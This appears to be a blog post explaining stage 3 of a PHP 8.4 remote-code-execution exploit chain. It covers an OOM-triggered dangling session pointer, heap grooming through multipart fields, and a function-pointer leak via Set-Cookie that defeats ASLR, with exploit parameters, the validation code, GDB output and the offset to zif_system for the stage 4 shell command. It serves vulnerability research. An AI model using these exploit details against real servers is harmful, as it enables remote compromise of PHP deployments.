Stage 2 leaked the heap base address — where PHP’s memory allocator lives. Stage 3 answers a different question: where is the PHP binary itself loaded in memory?
The answer comes from leaking zval_ptr_dtor, a function pointer that PHP hardcodes into every HashTable it creates. Because ASLR randomizes the binary’s load address on every run, the exploit needs to read this pointer live from the target process.
Key Insight
Stage 3 is a read primitive, not a write. The exploit doesn’t inject a function pointer — it reads one that PHP itself wrote. The attacker controls where a HashTable is allocated (through heap grooming), not what PHP puts into its pDestructor field.
KEY INSIGHT
Stage 3 is a read primitive, not a write. The exploit doesn’t inject a function pointer
— it reads one that PHP itself wrote. The attacker controls where a HashTable is
allocated (through heap grooming), not what PHP puts into itspDestructorfield.
The leaked address will be used in Stage 4 to calculate the address of zif_system (PHP’s internal wrapper for system()) and forge a HashTable whose destructor calls it with an attacker-controlled command.
The Setup: Producer Creates a Dangling Pointer
Like Stage 2, Stage 3 begins with a producer request that crashes the PHP worker with an out-of-memory error. But the shape is different — calibrated for a different bin overlap:
# Stage 3 producer shape (from the exploit) used to cause OOM
ProducerShape(
depth=58, # nesting depth of array field names
count=935, # number of nested-array fields
field_count=65, # padding fields with 39-byte values
field_value_size=39
)
The producer sends a multipart POST body (~251 KB on the wire) containing 935 deeply nested array fields. PHP’s request parser expands each one recursively: a field named a[0][0][0]…[0] with 58 levels of nesting creates 58 nested HashTables in memory — a small wire payload that balloons to consume PHP’s 128 MB memory limit.
When the allocator hits the limit, PHP calls zend_bailout(), which triggers a longjmp that skips normal cleanup — including php_session_flush(). The session ID string (PS(id)) is freed as part of the heap teardown, but the global pointer to it is never set to NULL. It becomes a dangling pointer that survives into the next request on the same worker.
The Consumer: Heap Grooming for Cross-Bin Overlap
With the dangling PS(id) in place, the exploit sends a consumer request to the same worker. The consumer’s job: allocate a HashTable that lands at exactly the right position to overlap with the freed session ID string.
Here’s the critical thing to understand about PHP’s allocator. PS(id) was a zend_string of 57 bytes total (24-byte header + 32-byte session ID + 1-byte NUL). That falls into the allocator’s Bin #7 (64-byte slots). But a HashTable is 56 bytes, which falls into Bin #6 (56-byte slots). These are different bins — different freelists, different slot sizes.
So how does a 56-byte allocation land on memory that used to hold a 64-byte allocation?
Pages Get Reassigned After OOM
The OOM crash tears down and rebuilds the heap. Physical pages that were assigned to Bin #7 (64-byte slots) during the first request can be reassigned to Bin #6 (56-byte slots) during the second request. The same 4096-byte page gets carved into different-sized slots.
Within any 4096-byte page, Bin #6 creates 73 slots of 56 bytes each, while Bin #7 would have created 64 slots of 64 bytes each. Due to the difference in slot sizes, there are exactly 9 positions within a page where a Bin #6 slot starts exactly 16 bytes (0x10) before where a Bin #7 slot would have started:
# Where 64*j - 56*i = 16 (mod 4096)# j = Bin #7 slot index (zend_string), i = Bin #6 slot index (HashTable)j= 2, i= 2 → offset 128 vs 112 (Δ = 0x10) ✓j= 9, i=10 → offset 576 vs 560 (Δ = 0x10) ✓j=16, i=18 → offset 1024 vs 1008 (Δ = 0x10) ✓j=23, i=26 → offset 1472 vs 1456 (Δ = 0x10) ✓j=30, i=34 → offset 1920 vs 1904 (Δ = 0x10) ✓j=37, i=42 → offset 2368 vs 2352 (Δ = 0x10) ✓j=44, i=50 → offset 2816 vs 2800 (Δ = 0x10) ✓j=51, i=58 → offset 3264 vs 3248 (Δ = 0x10) ✓j=58, i=66 → offset 3712 vs 3696 (Δ = 0x10) ✓
The 0x10 offset is what makes the overlap useful. It means the HashTable starts 16 bytes before the old zend_string position. This creates a precise mapping where the HashTable’s internal fields line up with the string’s data fields.
The Overlay: How HashTable Fields Become String Content
Here’s the core of the trick. When a 56-byte HashTable is allocated at PS(id) – 0x10, its internal fields overlap with the zend_string fields that PHP will read through the dangling pointer:

The rows at +0x20, +0x28, and +0x30 are where the magic happens:
nTableSize = 16 → PS(id) reads this as len = 16, so PHP thinks the session ID is 16 bytes long
nNextFreeElement = 16 → PS(id) reads this as the first 8 bytes of the session ID string
pDestructor = zval_ptr_dtor → PS(id) reads this as the last 8 bytes of the session ID string
When PHP builds the Set-Cookie: PHPSESSID=… header, it reads PS(id)->len (which is now 16), then copies 16 bytes from val[] — which are the raw bytes of nNextFreeElement concatenated with pDestructor. The function pointer leaks directly into the HTTP response.
The Consumer’s Grooming Strategy
The consumer request is carefully crafted to push the target HashTable into the right heap position. It sends 1,000 multipart fields in a specific order:
def code_consumer() -> bytes: parts = [ PHPSESSID = "a", # trigger session reuse PHP_SESSION_UPLOAD_PROGRESS = "pwn", # activate upload callback ] # 73 string fields: 24-byte values → consume Bin #4 (32-byte) slots for i in range(73): parts.append( s{i} = "P" × 24 ) # 909 single-element arrays → consume Bin #6 (56-byte) slots for i in range(909): parts.append( a{i}[0] = "x" × 16 ) # 1 element → nTableSize=8 # The special one: a0069 with 16 elements # This is the ONLY array that grows to nTableSize=16 for j in range(16): parts.append( a0069[{j}] = "x" × 16 )
The 73 string fields and 909 single-element arrays are heap grooming filler. They consume allocator bin slots to push a0069’s HashTable to land at exactly the freed PS(id) address minus 0x10.
Why is a0069 special? It’s the only array with 16 integer-keyed elements. PHP’s packed arrays start with nTableSize=8. When the 9th element is added, the HashTable grows via zend_hash_packed_grow(), doubling nTableSize to 16. After all 16 elements are inserted:
nTableSize = 16 (the capacity doubled for the 9th element)
nNextFreeElement = 16 (the next available integer key)
pDestructor = zval_ptr_dtor (PHP hardcodes this into every new HashTable)
WHY PHP WRITES THE POINTER
When PHP creates any array, it calls _zend_new_array(), which calls _zend_hash_init_int(ht, nSize, ZVAL_PTR_DTOR, 0). The macro ZVAL_PTR_DTOR resolves to the address of the zval_ptr_dtor function. PHP always sets pDestructor to this value — it’s not attacker-controlled. The exploit simply reads what PHP wrote.
LIVE GDB VERIFICATION
We verified the entire mechanism step by step with GDB attached to the PHP worker process. Here’s what we observed.
Step 1: Send the Producer, Confirm Dangling PS(id)
After the producer request triggers OOM, we dumped the global session state:
(gdb) x/s ((char*)0x78f287676080 + 0x18)
0x78f287676098: “c1a1e4fa9e6dcc966ca20e385b9d99a8”
// PS(id) = 0x78f287676080, len = 32 (0x20)
// The old session ID string — freed but still pointed to
The pointer is live. The memory is freed. This is the dangling reference.
Step 2: Set a Watchpoint, Send the Consumer
We set a hardware watchpoint on the len field of the zend_string at the dangling pointer location, to catch the exact moment it gets overwritten:
(gdb) watch (unsigned int)0x78f287676090 if (unsigned int)0x78f287676090 == 16
Hardware watchpoint 2
Then we sent the consumer request and GDB immediately paused:
Hardware watchpoint 2: (unsigned int)0x78f287676090
Old value = 8
New value = 16
0x0000653e38ac0859 in zend_hash_packed_grow ()
(gdb) bt 6
#0 0x653e38ac0859 in zend_hash_packed_grow ()
#1 0x653e38ac18a1 in zend_hash_index_update ()
#2 0x653e38b46d16 in php_register_variable_ex ()
#3 0x653e389b2b31 in rfc1867_post_handler ()
#4 0x653e38a67eca in sapi_read_post_data ()
#5 0x653e38a68283 in sapi_activate ()
We caught the exact moment: zend_hash_packed_grow() is doubling nTableSize from 8 to 16, triggered by the 9th element of the a0069 array being added during multipart parsing (rfc1867_post_handler).
Step 3: Verify the Memory Overlay
With GDB paused at the watchpoint, we dumped the memory at the HashTable:
(gdb) x/7gx 0x78f287676070
0x78f287676070: 0x0000000700000001 0xfffffffe00000014
0x78f287676080: 0x000078f287675968 0x0000000800000008
0x78f287676090: 0x0000000000000010 0x0000000000000008
0x78f2876760a0: 0x0000653e38b12930
(gdb) printf “pDestructor = 0x%lx\n”, (unsigned long long)0x78f2876760a0
pDestructor = 0x653e38b12930
(gdb) printf “zval_ptr_dtor = 0x%lx\n”, 0x653e38b12930
zval_ptr_dtor = 0x653e38b12930
// pDestructor == zval_ptr_dtor — CONFIRMED
The pDestructor at 0x78f2876760a0 holds the address 0x653e38b12930 — exactly zval_ptr_dtor. And because this address sits at PS(id)->val[8:16], it will be copied directly into the Set-Cookie header.
VALIDATION: HOW THE EXPLOIT KNOWS IT WORKED
The leaked session cookie comes back as 16 bytes of URL-encoded binary. The exploit’s code_candidate() function validates it with three checks:
def code_candidate(cookie: bytes) -> int | None:# Check 1: cookie must be exactly 16 bytesif len(cookie) != 16:return None# Check 2: first 8 bytes must equal 16 (nNextFreeElement)if struct.unpack("<Q", cookie[0:8])[0] != 16: return None# Check 3: second 8 bytes = code pointer with correct low 21 bitsvalue = struct.unpack("<Q", cookie[8:16])[0]if 0x500000000000 <= value < 0x700000000000 \ and value & 0x1FFFFF == 0x112930: return value # ← this is zval_ptr_dtor's addressreturn None
The three checks work together:
Length = 16: Confirms the nTableSize overlay worked — PS(id) read exactly 16 bytes from the overlapping HashTable, not the original 32-character hex session ID
2. First word = 16: Confirms nNextFreeElement = 16, meaning the a0069 array had all 16 elements inserted. This rules out partial writes or wrong-slot overlaps
3. Low 21 bits = 0x112930: ASLR randomizes the base address but preserves page-level offsets. zval_ptr_dtor always sits at offset 0x112930 within the PHP binary. This is a fingerprint — if it matches, the remote PHP binary has the same layout as the one the exploit was calibrated against
WHY 21 BITS?
PHP’s Zend Memory Manager allocates in aligned 2 MB chunks. 2 MB = 221 bytes, so the low 21 bits of any pointer are the offset within the chunk — the part that ASLR doesn’t randomize. The constant DTOR_LOW21 = 0x112930 is zval_ptr_dtor’s fixed offset in this specific Alpine PHP 8.4.26 build.
WHAT THE EXPLOIT LEARNS

ZIF_SYSTEM_FROM_DTOR = -0x204BC0
Stage 4 will use this address to forge a HashTable whose pDestructor field points to zif_system instead of zval_ptr_dtor. When PHP’s cleanup path calls that destructor, it won’t free a value — it will execute a shell command.
zif_system = zval_ptr_dtor + ZIF_SYSTEM_FROM_DTOR= 0x5673b5312930 + (-0x204BC0)= 0x5673b510DD70
SUMMARY

The entire Stage 3 chain: OOM creates a dangling PS(id). The consumer grooms the heap so that a HashTable with 16 elements lands at PS(id) – 0x10. PHP’s own pDestructor field overlays the string’s val[] bytes. The Set-Cookie header carries out the raw function pointer. No payload bytes were injected — the exploit just persuaded PHP to tell us where its own code lives.
Leave a Reply